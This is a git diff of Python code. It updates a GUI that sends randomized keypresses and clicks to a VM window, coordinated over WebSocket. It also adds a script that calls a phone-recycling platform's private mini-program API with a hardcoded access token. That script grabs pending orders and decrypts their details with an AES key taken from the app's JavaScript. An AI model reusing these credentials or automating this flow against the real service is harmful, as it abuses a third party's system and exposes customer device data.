         ttk.Entry(param_frame_b, textvariable=self.b_wait_after_stop_max, width=8).grid(row=2, column=2, sticky=tk.W, pady=3, padx=(30, 0))
 
+        ttk.Label(param_frame_b, text="暂停延续(秒):").grid(row=3, column=0, sticky=tk.W, pady=3)
+        ttk.Label(param_frame_b, text="最小:").grid(row=3, column=1, sticky=tk.W, pady=3, padx=(10, 0))
+        ttk.Entry(param_frame_b, textvariable=self.b_pause_duration, width=8).grid(row=3, column=1, sticky=tk.W, pady=3, padx=(30, 0))
+
         # 脚本B状态
         self.b_status_label = ttk.Label(self.frame_b, text="脚本B状态: 等待启动信号", foreground="gray")
         self.b_status_label.grid(row=1, column=0, columnspan=4, sticky=tk.W, pady=5)
@@ -539,10 +544,18 @@ class VmControlGUI:
         self.ws_client.send_message("stop", "停止执行")
         self.log("📤 已群发停止指令")
     
+    def send_pause_command(self):
+        """群发暂停指令(让B执行停止序列)"""
+        if not self.ws_client or not self.ws_client.is_connected:
+            self.log("⚠️ WS未连接,无法发送指令")
+            return
+        
+        self.ws_client.send_message("pause", "暂停执行")
+        self.log("📤 已群发暂停指令")
+
     def on_ws_message(self, data):
         """处理WebSocket消息"""
         try:
-            # ===== 打印收到的原始消息 =====
             self.log(f"📨 收到原始消息: {json.dumps(data)}")
             
             msg_type = data.get("type")
@@ -553,12 +566,14 @@ class VmControlGUI:
             
             if msg_type == "start":
                 self.log(f"📨 收到开始指令")
-                # 启动脚本B
                 self.start_script_b()
             elif msg_type == "stop":
                 self.log(f"📨 收到停止指令")
-                # 停止脚本B
                 self.stop_script_b()
+            elif msg_type == "pause":
+                self.log(f"📨 收到暂停指令")
+                # 执行停止序列(2次),但不结束脚本B
+                self.execute_stop_sequence()
             elif msg_type == "close":
                 self.log(f"📨 收到关闭指令,可能是ID冲突")
             else:
@@ -567,6 +582,72 @@ class VmControlGUI:
         except Exception as e:
             self.log(f"处理WS消息失败: {e}")
 
+    def execute_stop_sequence(self):
+        """执行停止序列(2次),不结束脚本B"""
+        try:
+            # 暂停时继续执行的秒数(默认20秒)
+            pause_duration = int(self.b_pause_duration.get())
+            
+            # ===== 1. 继续执行20秒(按- 和 2) =====
+            self.log(f"⏳ 暂停指令,继续执行 {pause_duration} 秒(按- 和 2)")
+            
+            # 按键间隔(30-50秒)
+            interval_min = int(self.b_key_interval_min.get())
+            interval_max = int(self.b_key_interval_max.get())
+            
+            # 记录上次按2的时间
+            last_key2_time = time.time()
+            pause_start_time = time.time()
+            
+            while time.time() - pause_start_time < pause_duration:
+                # 按 - (减号键) - 每300-800ms一次
+                self.log("发送: - (减号) [暂停延续中]")
+                self.press_key(0xBD, False)
+                
+                # 减号间隔 300-800ms
+                key_delay = random.uniform(0.3, 0.8)
+                time.sleep(key_delay)
+                
+                # 检查是否该按 2(30-50秒一次)
+                current_time = time.time()
+                if current_time - last_key2_time >= random.uniform(interval_min, interval_max):
+                    self.log("发送: 2 (数字2) [暂停延续中]")
+                    self.press_key(0x32, False)
+                    last_key2_time = current_time
+            
+            self.log(f"⏳ 延续结束,执行停止序列(2次)")
+            
+            # ===== 2. 执行停止序列(2次) =====
+            for i in range(2):
+                self.log(f"停止序列 {i+1}/2")
+                
+                # 按 = 等待2-2.5秒
+                wait_time = random.uniform(2.0, 2.5)
+                self.log(f"  按 = (延迟 {wait_time:.1f}秒)")
+                self.press_key(0xBB, False)
+                time.sleep(wait_time)
+                
+                # 按 小键盘2 等待2-2.7秒
+                wait_time = random.uniform(2.0, 2.7)
+                self.log(f"  按 小键盘2 (延迟 {wait_time:.1f}秒)")
+                self.press_key(0x62, True)
+                time.sleep(wait_time)
+                
+                # 按 ESC
+                self.log(f"  按 ESC")
+                self.press_key(0x1B, False)
+                
+                # 每次之间等待200-800ms(最后一次不等待)
+                if i < 1:
+                    between_delay = random.uniform(0.2, 0.8)
+                    self.log(f"  等待 {between_delay*1000:.0f}ms 后执行下一次")
+                    time.sleep(between_delay)
+            
+            self.log("✅ 暂停停止序列执行完成")
+            
+        except Exception as e:
+            self.log(f"执行暂停停止序列失败: {e}")
+
     # ========== 脚本B相关 ==========
     def start_script_b(self):
         """启动脚本B"""
@@ -599,7 +680,7 @@ class VmControlGUI:
             interval_min = int(self.b_key_interval_min.get())
             interval_max = int(self.b_key_interval_max.get())
             
-            # 停止延迟(10-30秒)
+            # 停止延迟(10-30秒)- 现在表示继续执行的时间
             stop_delay_min = int(self.b_stop_delay_min.get())
             stop_delay_max = int(self.b_stop_delay_max.get())
             
@@ -630,30 +711,49 @@ class VmControlGUI:
                 current_time = time.time()
                 if current_time - last_key2_time >= random.uniform(interval_min, interval_max):
                     self.log("发送: 2 (数字2)")
-                    self.press_key(0x32, False)
+                    self.press_key(0x62, False)
                     last_key2_time = current_time
             
-            # ===== 执行停止序列(共3次) =====
-            self.log("脚本B停止序列开始")
+            # ===== 收到停止指令后,继续执行10-30秒 =====
+            stop_duration = random.uniform(stop_delay_min, stop_delay_max)
+            self.log(f"⏳ 收到停止指令,继续执行 {stop_duration:.1f} 秒后停止")
+            
+            stop_start_time = time.time()
+            while time.time() - stop_start_time < stop_duration:
+                # 继续按 - (减号键)
+                self.log("发送: - (减号) [停止延迟中]")
+                self.press_key(0xBD, False)
+                
+                # 减号间隔 300-800ms
+                key_delay = random.uniform(0.3, 0.8)
+                time.sleep(key_delay)
+                
+                # 检查是否该按 2(30-50秒一次)
+                current_time = time.time()
+                if current_time - last_key2_time >= random.uniform(interval_min, interval_max):
+                    self.log("发送: 2 (数字2) [停止延迟中]")
+                    self.press_key(0x62, False)
+                    last_key2_time = current_time
             
-            # 随机延迟
-            stop_delay = random.uniform(stop_delay_min, stop_delay_max)
-            self.log(f"停止前延迟: {stop_delay:.1f}秒")
-            time.sleep(stop_delay)
+            self.log(f"⏳ 延迟结束,开始执行停止序列")
             
+            # ===== 执行停止序列(共3次) =====
+            self.log("脚本B停止序列开始")
+                        
+                        
             # 执行3次停止序列
             for i in range(3):
                 self.log(f"停止序列 {i+1}/3")
                 
-                # 按 =
-                wait_time = random.uniform(wait_min, wait_max)
-                self.log(f"  按 = (延迟 {wait_time*1000:.0f}ms)")
+                # 按 = 等待2-2.5秒
+                wait_time = random.uniform(2.0, 2.5)
+                self.log(f"  按 = (延迟 {wait_time:.1f}秒)")
                 self.press_key(0xBB, False)
                 time.sleep(wait_time)
                 
-                # 按 小键盘2
-                wait_time = random.uniform(wait_min, wait_max)
-                self.log(f"  按 小键盘2 (延迟 {wait_time*1000:.0f}ms)")
+                # 按 小键盘2 等待2-2.7秒
+                wait_time = random.uniform(2.0, 2.7)
+                self.log(f"  按 小键盘2 (延迟 {wait_time:.1f}秒)")
                 self.press_key(0x62, True)
                 time.sleep(wait_time)
                 
@@ -666,7 +766,7 @@ class VmControlGUI:
                     between_delay = random.uniform(0.2, 0.8)
                     self.log(f"  等待 {between_delay*1000:.0f}ms 后执行下一次")
                     time.sleep(between_delay)
-            
+
             self.log("✅ 脚本B停止序列完成")
             self.b_status_label.config(text="脚本B状态: 已停止", foreground="gray")
             
@@ -804,28 +904,22 @@ class VmControlGUI:
         try:
             # 按键名称映射
             key_name_map = {
-                0x68: b"8",
-                0x62: b"2",
-                0x25: b"left",
-                0x20: b"space",
-                0x26: b"up",
-                0x28: b"down",
-                0x27: b"right",
-                0x1B: b"esc",
-                0xBB: b"=",
-                0xBD: b"-",
-                0x32: b"2",
+                0x68: b"num8",      # 小键盘8
+                0x62: b"num2",      # 小键盘2
+                0x25: b"left",      # 左箭头
+                0x20: b"space",     # 空格
+                0x26: b"up",        # 上箭头
+                0x28: b"down",      # 下箭头
+                0x27: b"right",     # 右箭头
+                0x1B: b"esc",       # ESC
+                0xBB: b"=",         # = 号
+                0xBD: b"-",         # - 号
+                0x32: b"2",         # 主键盘2(如果确实需要主键盘的)
             }
             
             if self.ghost_available:
                 if key_code in key_name_map:
-                    ret = pressandreleasekeybyname(key_name_map[key_code])
-                    if ret != 1:
-                        ret = pressandreleasekeybycode(key_code)
-                    return ret == 1
-                else:
-                    ret = pressandreleasekeybycode(key_code)
-                    return ret == 1
+                    pressandreleasekeybyname(key_name_map[key_code])
             else:
                 if extended:
                     win32api.keybd_event(key_code, 0, win32con.KEYEVENTF_EXTENDEDKEY, 0)
@@ -904,12 +998,36 @@ class VmControlGUI:
         self.log("测试完成")
         self.log("=" * 50)
 
+    def click_at_current_position(self):
+        """在当前鼠标位置点击左键"""
+        try:
+            if self.ghost_available:
+                # 幽灵键鼠:获取当前坐标并点击
+                x = getmousex()
+                y = getmousey()
+                ret = movemouseto(x, y)
+                if ret == 1:
+                    ret = pressandreleasemousebutton(1)  # 左键
+                    return ret == 1
+                return False
+            else:
+                # 系统API:获取当前位置并点击
+                x, y = win32api.GetCursorPos()
+                win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, x, y, 0, 0)
+                time.sleep(0.05)
+                win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, x, y, 0, 0)
+                return True
+        except Exception as e:
+            self.log(f"鼠标左键点击失败: {e}")
+            return False
+
     def loop_worker(self):
+        # 按键定义:(类型, 键码/标识, 扩展标志, 名称)
         keys = [
-            (0x68, True, "小键盘8"),
-            (0x62, True, "小键盘2"),
-            (0x25, False, "左键"),
-            (0x20, False, "空格"),
+            ("keyboard", 0x68, True, "小键盘8"),      # 小键盘8
+            ("keyboard", 0x62, True, "小键盘2"),      # 小键盘2
+            ("mouse", None, None, "鼠标左键"),         # 鼠标左键(原来的0x25左箭头改成鼠标左键)
+            ("keyboard", 0x20, False, "空格"),         # 空格
         ]
 
         key_min = int(self.key_interval_min.get()) / 1000.0
@@ -927,10 +1045,10 @@ class VmControlGUI:
         self.log("=" * 50)
         self.log("🚀 脚本A循环开始!")
         self.log(f"使用: {'幽灵键鼠' if self.ghost_available else '系统API'}")
-        self.log(f"按键: 小键盘8 -> 小键盘2 -> 左键 -> 空格")
+        self.log(f"按键: 小键盘8 -> 小键盘2 -> 鼠标左键 -> 空格")
         self.log("=" * 50)
 
-        # ===== 只在开始前执行一次鼠标点击激活窗口 =====
+        # 只在开始前执行一次鼠标点击激活窗口
         if not self.stop_flag:
             try:
                 if win32gui.IsWindow(self.vm_hwnd):
@@ -943,20 +1061,23 @@ class VmControlGUI:
             except Exception as e:
                 self.log(f"初始点击失败: {e}")
 
-        # ===== 进入键盘循环 =====
         while not self.stop_flag:
             try:
                 if not win32gui.IsWindow(self.vm_hwnd):
                     self.log("窗口已关闭,停止循环")
                     break
 
-                # 执行一轮按键(不再点击鼠标)
-                for key_code, extended, key_name in keys:
+                # 执行一轮按键
+                for key_type, key_code, extended, key_name in keys:
                     if self.stop_flag:
                         break
                     
                     self.log(f"发送: {key_name}")
-                    self.press_key(key_code, extended)
+                    
+                    if key_type == "mouse":
+                        self.click_at_current_position()
+                    else:
+                        self.press_key(key_code, extended)
                     total_keys += 1
                     
                     interval = random.uniform(key_min, key_max)
@@ -967,10 +1088,20 @@ class VmControlGUI:
                 if round_count % 10 == 0:
                     self.log(f"📊 已执行 {round_count} 轮")
 
-                # 暂停检查
+                # ===== 暂停检查 =====
                 current_time = time.time()
                 if current_time - last_pause_time >= random.uniform(pause_min, pause_max):
-                    self.log(f"⏸ 暂停 {pause_dur} 秒")
+                    self.log(f"⏸ 到达暂停时间,通知B执行停止序列")
+                    
+                    # 通知B执行停止序列(2次)
+                    if self.ws_client and self.ws_client.is_connected:
+                        self.ws_client.send_message("pause", "暂停执行,执行停止序列")
+                        self.log("📤 已群发暂停指令到同信道脚本B")
+                    else:
+                        self.log("⚠️ WebSocket未连接,无法通知脚本B")
+                    
+                    # A自己暂停
+                    self.log(f"⏸ A暂停 {pause_dur} 秒")
                     self.status_label.config(text=f"状态: 暂停中 ({pause_dur}s)", foreground="orange")
                     
                     for _ in range(int(pause_dur / 0.5)):
@@ -978,8 +1109,16 @@ class VmControlGUI:
                             break
                         time.sleep(0.5)
                     
-                    self.log("▶ 暂停结束")
+                    self.log("▶ A暂停结束,继续循环")
                     self.status_label.config(text="状态: 运行中", foreground="green")
+                    
+                    # 通知B继续(发送start)
+                    if self.ws_client and self.ws_client.is_connected:
+                        self.ws_client.send_message("start", "继续执行")
+                        self.log("📤 已群发继续指令到同信道脚本B")
+                    else:
+                        self.log("⚠️ WebSocket未连接,无法通知脚本B")
+                    
                     last_pause_time = time.time()
                     continue
 

+ 322 - 0
解密机大侠.py

@@ -0,0 +1,322 @@
+import requests
+import json
+from Crypto.Cipher import AES
+from Crypto.Util.Padding import unpad
+from typing import Optional, List, Dict, Any
+
+# --- 1. 解密函数 (从JS代码转换) ---
+def decrypt_order_data(hex_string):
+    """
+    使用AES-CBC模式解密订单详情数据
+    """
+    key = b"S9u978T13NLCGc5W"          # 密钥
+    iv = b"X83yWMD9iKhLxfwX"           # 偏移量 (IV)
+    
+    # 将十六进制字符串转换为字节
+    encrypted_data = bytes.fromhex(hex_string)
+    
+    # 创建AES-CBC解密器
+    cipher = AES.new(key, AES.MODE_CBC, iv)
+    
+    # 解密并去除填充 (PKCS7)
+    decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)
+    
+    # 返回UTF-8字符串
+    return decrypted_data.decode('utf-8')
+
+# --- 2. 请求头配置 ---
+HEADERS = {
+    'Connection': 'keep-alive',
+    'content-type': 'application/json',
+    'Version': '2.50.0',
+    'timestamp': '1784094158706',
+    'Distinct-Id': '1784057137891-1059356-086b42dd38b0b98-24491897',
+    'vaccine': 'aa454c048e8843247cebf378d1a9a0fed759027f329caf68fd900654da4232d0',
+    'U-A': 'JiDaXiaWeApp/23958 (:)',
+    'x-version': 'ITC-77385',
+    'ahs-gate-language': 'zh_CN',
+    'APP-ID': 'jdx135624',
+    'platform': 'weapp',
+    'Register-Flow-Source': 'RECYCLER',
+    'ahs-language': 'zh-CN',
+    'access_token': 'jdx9ce52336abee4cf78db56567dc259512',
+    'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 26_5_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.75(0x18004b3c) NetType/WIFI Language/zh_CN',
+    'Referer': 'https://servicewechat.com/wx7e6573879e91b1ac/28/page-frame.html',
+}
+
+# --- 3. 获取待抢订单列表 ---
+def get_pending_order_list(page_size: int = 10) -> Optional[List[Dict[str, Any]]]:
+    """
+    获取待抢订单列表
+    
+    Args:
+        page_size: 每页数量,默认10条
+        
+    Returns:
+        订单列表,失败返回None
+    """
+    url = "https://wirelessgate.aihuishou.com/jdx-rc-bff-service/app/order/pendingGrab/list"
+    
+    payload = {
+        "pageSize": page_size,
+        "status": -1,
+        "isApplyForHandle": None,
+        "applyPhotoStatus": None,
+        "productIds": [265024, 225362, 225361, 225358, 225366, 173473, 161415, 161414, 161413, 161412, 121769, 121439, 121436, 121435, 98526, 98528, 98527, 98525, 43513, 43512, 43511, 43510, 36047, 36045, 36044, 36046, 32292, 32291, 32290, 27640, 27639, 27637, 25827, 25680, 25679, 23423, 23422, 66428, 34701, 20079, 17752, 17726, 17462, 17461, 17459, 17458, 17457, 17460, 17455, 2247, 2246],
+        "sourceIds": None,
+        "keyword": None,
+        "timeObj": None,
+        "rcOrderResult": None
+    }
+    
+    try:
+        response = requests.post(url, headers=HEADERS, json=payload)
+        response.raise_for_status()
+        
+        result = response.json()
+        
+        if result.get('code') != 200:
+            print(f"获取订单列表失败: {result.get('resultMessage', '未知错误')}")
+            return None
+        
+        order_list = result.get('data', [])
+        print(f"成功获取 {len(order_list)} 条待抢订单")
+        return order_list
+        
+    except requests.RequestException as e:
+        print(f"请求订单列表失败: {e}")
+        return None
+    except json.JSONDecodeError as e:
+        print(f"解析订单列表JSON失败: {e}")
+        return None
+
+# --- 4. 显示订单列表 ---
+def display_order_list(order_list: List[Dict[str, Any]]):
+    """
+    美化显示订单列表
+    """
+    if not order_list:
+        print("暂无待抢订单")
+        return
+    
+    print("\n" + "="*80)
+    print("待抢订单列表:")
+    print("="*80)
+    
+    for idx, order in enumerate(order_list, 1):
+        print(f"\n[{idx}] 订单号: {order.get('orderNo', 'N/A')}")
+        print(f"    商品: {order.get('brandInfo', 'N/A')}")
+        print(f"    IMEI: {order.get('imei', 'N/A')}")
+        print(f"    预估价格: {order.get('price', '待定')}")
+        print(f"    门店: {order.get('title', 'N/A')}")
+        print(f"    截止时间: {order.get('biddingDeadlineDt', 'N/A')}")
+        
+        # 显示标签
+        labels = order.get('labels', [])
+        if labels:
+            label_names = [label.get('labelName', '') for label in labels]
+            print(f"    标签: {', '.join(label_names)}")
+        
+        # 显示提示
+        tips = order.get('tips', {})
+        if tips:
+            print(f"    提示: {tips.get('tipStr', 'N/A')}")
+    
+    print("\n" + "="*80)
+
+# --- 5. 从订单列表中提取订单号 ---
+def select_order_by_index(order_list: List[Dict[str, Any]], index: int) -> Optional[str]:
+    """
+    根据索引从订单列表中提取订单号
+    
+    Args:
+        order_list: 订单列表
+        index: 索引(从1开始)
+        
+    Returns:
+        订单号,失败返回None
+    """
+    if not order_list:
+        print("订单列表为空")
+        return None
+    
+    if index < 1 or index > len(order_list):
+        print(f"索引超出范围,请输入1-{len(order_list)}之间的数字")
+        return None
+    
+    order_no = order_list[index - 1].get('orderNo')
+    if not order_no:
+        print(f"第{index}个订单缺少订单号")
+        return None
+    
+    print(f"已选择订单: {order_no}")
+    return order_no
+
+# --- 6. 获取订单详情(原有功能) ---
+def get_order_detail(order_no: str) -> Optional[Dict[str, Any]]:
+    """
+    获取订单详情
+    
+    Args:
+        order_no: 订单号
+        
+    Returns:
+        解密后的订单详情,失败返回None
+    """
+    # 第一步:获取BiddingNo
+    snatch_url = "https://wirelessgate.aihuishou.com/jdx-rc-service/front/bid/snatch"
+    snatch_payload = {"orderNo": order_no}
+    
+    print(f"\n正在获取订单 {order_no} 的BiddingNo...")
+    try:
+        snatch_response = requests.post(snatch_url, headers=HEADERS, json=snatch_payload)
+        snatch_response.raise_for_status()
+        snatch_data = snatch_response.json()
+        
+        if snatch_data.get('code') != 200:
+            print(f"获取BiddingNo失败: {snatch_data.get('resultMessage', '未知错误')}")
+            return None
+        
+        bidding_no = snatch_data.get('data')
+        if not bidding_no:
+            print("获取BiddingNo为空")
+            return None
+            
+        print(f"成功获取 BiddingNo: {bidding_no}")
+        
+    except requests.RequestException as e:
+        print(f"请求BiddingNo失败: {e}")
+        return None
+    except json.JSONDecodeError as e:
+        print(f"解析BiddingNo响应失败: {e}")
+        return None
+    
+    # 第二步:请求订单详情(加密数据)
+    detail_url = f"https://wirelessgate.aihuishou.com/jdx-qa-service/app/ka/v3/order/detail?orderNo={order_no}&biddingNo={bidding_no}"
+    
+    print("正在请求订单详情...")
+    try:
+        detail_response = requests.get(detail_url, headers=HEADERS)
+        detail_response.raise_for_status()
+        detail_data = detail_response.json()
+        
+        if detail_data.get('code') != 200:
+            print(f"请求订单详情失败: {detail_data.get('resultMessage', '未知错误')}")
+            return None
+        
+        encrypted_hex = detail_data.get('data')
+        if not encrypted_hex:
+            print("未获取到加密数据")
+            return None
+        
+        # 第三步:解密数据
+        print("正在解密数据...")
+        decrypted_json_string = decrypt_order_data(encrypted_hex)
+        order_detail = json.loads(decrypted_json_string)
+        
+        return order_detail
+        
+    except requests.RequestException as e:
+        print(f"请求订单详情失败: {e}")
+        return None
+    except json.JSONDecodeError as e:
+        print(f"解析订单详情JSON失败: {e}")
+        return None
+    except Exception as e:
+        print(f"解密或解析失败: {e}")
+        return None
+
+# --- 7. 查找图片链接(原有功能) ---
+def find_original_image_by_notice(json_data, notice_keyword):
+    """
+    在复杂的嵌套JSON中,根据notice字段的关键词查找并返回对应的originalImage链接
+    """
+    if isinstance(json_data, str):
+        try:
+            json_data = json.loads(json_data)
+        except json.JSONDecodeError:
+            print("错误:输入的字符串不是有效的JSON格式。")
+            return None
+
+    def recursive_search(obj):
+        if isinstance(obj, dict):
+            if 'notice' in obj and 'originalImage' in obj:
+                if notice_keyword.lower() in obj['notice'].lower():
+                    return obj['originalImage']
+            
+            for value in obj.values():
+                result = recursive_search(value)
+                if result:
+                    return result
+        
+        elif isinstance(obj, list):
+            for item in obj:
+                result = recursive_search(item)
+                if result:
+                    return result
+        
+        return None
+
+    return recursive_search(json_data)
+
+# --- 8. 主流程(新增列表获取功能) ---
+def main():
+    # 步骤1:获取待抢订单列表
+    print("正在获取待抢订单列表...")
+    order_list = get_pending_order_list(page_size=10)
+    
+    if not order_list:
+        print("无法获取订单列表,程序退出")
+        return
+    
+    # 步骤2:显示列表
+    display_order_list(order_list)
+    
+    # 步骤3:让用户选择要查看的订单
+    while True:
+        try:
+            choice = input("\n请输入要查看详情的订单序号 (1-{},输入0退出): ".format(len(order_list)))
+            choice = int(choice.strip())
+            
+            if choice == 0:
+                print("程序退出")
+                return
+            
+            if 1 <= choice <= len(order_list):
+                break
+            else:
+                print(f"请输入1-{len(order_list)}之间的数字")
+        except ValueError:
+            print("请输入有效的数字")
+        except KeyboardInterrupt:
+            print("\n程序被中断")
+            return
+    
+    # 步骤4:获取选中的订单号
+    order_no = select_order_by_index(order_list, choice)
+    if not order_no:
+        print("获取订单号失败")
+        return
+    
+    # 步骤5:获取订单详情
+    order_detail = get_order_detail(order_no)
+    if not order_detail:
+        print("获取订单详情失败")
+        return
+    
+    # 步骤6:输出结果
+    print("\n=== 解密后的订单详情 ===")
+    print(json.dumps(order_detail, indent=2, ensure_ascii=False))
+    
+    # 步骤7:查找图片链接
+    report_img = find_original_image_by_notice(order_detail, "苹果沙漏验机报告")
+    if report_img is None:
+        report_img = find_original_image_by_notice(order_detail, "验机照片")
+    
+    if report_img:
+        print(f"\n找到验机报告图片: {report_img}")
+    else:
+        print("\n未找到验机报告图片")
+
+if __name__ == "__main__":
+    main()